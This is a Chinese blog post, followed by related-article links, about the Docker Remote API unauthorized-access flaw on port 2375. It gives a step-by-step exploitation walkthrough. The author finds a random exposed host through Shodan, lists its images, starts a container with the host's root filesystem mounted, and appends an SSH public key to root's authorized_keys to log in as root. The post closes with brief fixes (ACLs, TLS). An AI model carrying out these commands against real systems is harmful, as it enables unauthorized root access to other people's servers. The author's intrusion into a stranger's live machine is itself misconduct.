Docker_remote_api未授权访问漏洞
docker remote api主要的目的是取代命令行界面,
docker client和docker daemon通过unix domain socket进行通信.
默认情况下,只有本机的root和docker组用户才能操作docker.
0x01漏洞成因
1. dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375
2. docker守护进程监听在0.0.0.0,外网可访问
3.没有使用iptable等限制可连接的来源ip。
0x02漏洞危害及常见的攻击方式
1.远程对被攻击主机的docker容器进行操作
docker -H tcp://*.*.*.*:2375 images
2.远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。
docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/bash
具体的步骤是:
我没有自己搭建环境做测试,在shodan搜索port:2375找了一台机器,再找X国的机器,再找对应product是docker的主机,随机找了1台,可以看到宿主机的镜像,然后开始利用漏洞:

其实有很多,找到这些后在本地装有docker的机器上使用如下命令开始测试:
docker -H tcp://x.x.x.x:2375 images

能看到宿主机的镜像,说明漏洞存在
开始利用:
在宿主机上启动docker容器:
docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt 113a43faa138 /bin/bash (113a43faa138为images ID )
这条命令的意思是启动一个image ID 为113a43faa138的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下
启动之后就会获得该容器宿主机的shell:

然后进入 cd /root/mnt 目录
接下来开始创建免密钥登录文件(将本地的公钥存放在被入侵的服务器上)
mkdir .ssh 目录
假如存在.ssh文件夹,则进入该文件夹修改authorized_keys文件,将本地生成公钥字符串放入改文件中,
root@180d2dd6287a:/mnt/root/.ssh# vi authorized_keys
bash: vi: command not found
root@180d2dd6287a:/mnt/root/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNtdT1CyvMJTAHlhE2jZXSlIFG+FebBgLezKiEkl+XHt7BEwjwoRmT9q1cEtjTZe/DdfDS6kW9nzZwN3wxC5KSMppq0NS19MGnr9DrUkv2tAlXuwkVLPRZeKCMODEOI9ZeEwEz71PWD0MX7EkDBJxC+9FfWHvxCcXu+xyuj/f3j8zwScOCR0SqQfNp013j7CI/4ZYzzkMzcpI6LBo/jv0A/Hp3ODYdc8Urn6u4ZBzze1UAH27shx/I/6GBWMt9TLFgHvdXtEBD7r+vmQIMJxBXR8pZpuvCU54j3+NTi15LMWyY5ar/jOB9EEdIgdmRk4Ccqv92XQQ/ root@zabbix-mysql-master- >>authorized_keys # 这里使用追加的方式(>>)
替换成功,接下来在本地机器上使用命令:
Ssh root@x.x.x.x 登录,顺利登录:

随后修改了该机器的/etc/issue登录提示文件,告诉机主该机器docker存在漏洞,貌似目前已修复
修复方法:
1、设置ACL,只允许信任ip连接对应端口
2、开启TLS,使用生成的证书进行认证
https://docs.docker.com/engine/security/https/

Docker_remote_api未授权访问漏洞的更多相关文章
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- WordPress Backdoor未授权访问漏洞和信息泄露漏洞
漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- docker搭建redis未授权访问漏洞环境
这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...
- redis未授权访问漏洞那拿SHELL
一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...
- 关于docker remote api未授权访问漏洞的学习与研究
漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...
随机推荐
- WPFLoading遮层罩
一直想实现这么个功能来着,所以去网上搜了资料,复杂的看不懂,后来挑了一个最简单的,复用了这位大神的很多代码(大神看到了别打脸).这位大神是用UserControl,使用时则是调用用户控件中的方法.之前 ...
- 【转载】如何升级linux上的gcc到最新版本
来自:http://www.cppfans.org/1719.html 由于工作主要平台换到了linux上,而linux因为源上没有比较新的gcc,只有4.7,而我们用到了C++11, 只好自己升级了 ...
- 自己搭建v,p,n过程
安装dockeryum install -y docker把docker设置为服务systemctl enable docker.service启动dockersystemctl start dock ...
- ios APP 在 waiting for review时重新上传程序
今天上传程序后发现了一个挺大的bug,想重新上传app,于是搜了一下,现记录一下: 点击details进入后在link点击binary details,进入之后点击右上角reject this bin ...
- 什么是Base64加密?为什么要有Base64加密?
产生这篇文章的动力在于对接腾讯云服务的时候每次都要进行Base64编码之后才能进行签名,之前只知道Base64是个算法,但是不知道为啥都用这个算法,这次为了链接Base64究竟是个什么东东才在网络上各 ...
- VS2013\VS2017 使用git 总是需要输入账号密码
问题: VS2013\VS2017 使用git 总是需要输入账号密码 解决方案:删除原凭证,或者修改原凭证,重新输入一次账号和密码并且选择“记住凭证”即可!
- 找不到Microsoft Access Driver(*.mdb)ODBC驱动程序的安装例程。请重新安装驱动
按照教材创建的方法:“控制面板-管理工具-数据源(ODBC)”,打开“ODBC数据源管理器”窗口,然后“添加”,打开“创建新数据源”的窗口,最后选择Microsoft Access Driver(*. ...
- Java基础 - 面向对象 - 类方法传参
调用方法时可以给该方法传递一个或多个值,传给方法的值叫实参,在方法内部,接收实参的变量叫做形参,形参的声明语法与变量的声明语法一样.形参只在方法内部有效. Java中方法的参数主要有3种,分别为值参数 ...
- c++相关知识
0.C语言基础知识及系统相关:http://c.biancheng.net/cpp/u/jiaocheng/ 1.C++ include观点与机制:http://developer.51cto.com ...
- Notice公告
把网页放大到125%食用效果更佳 考试题目的密码是ftp的密码 博猪很菜,菜得抠脚,如果写的有什么问题可以在评论区指出:-) 博猪qq:1755833514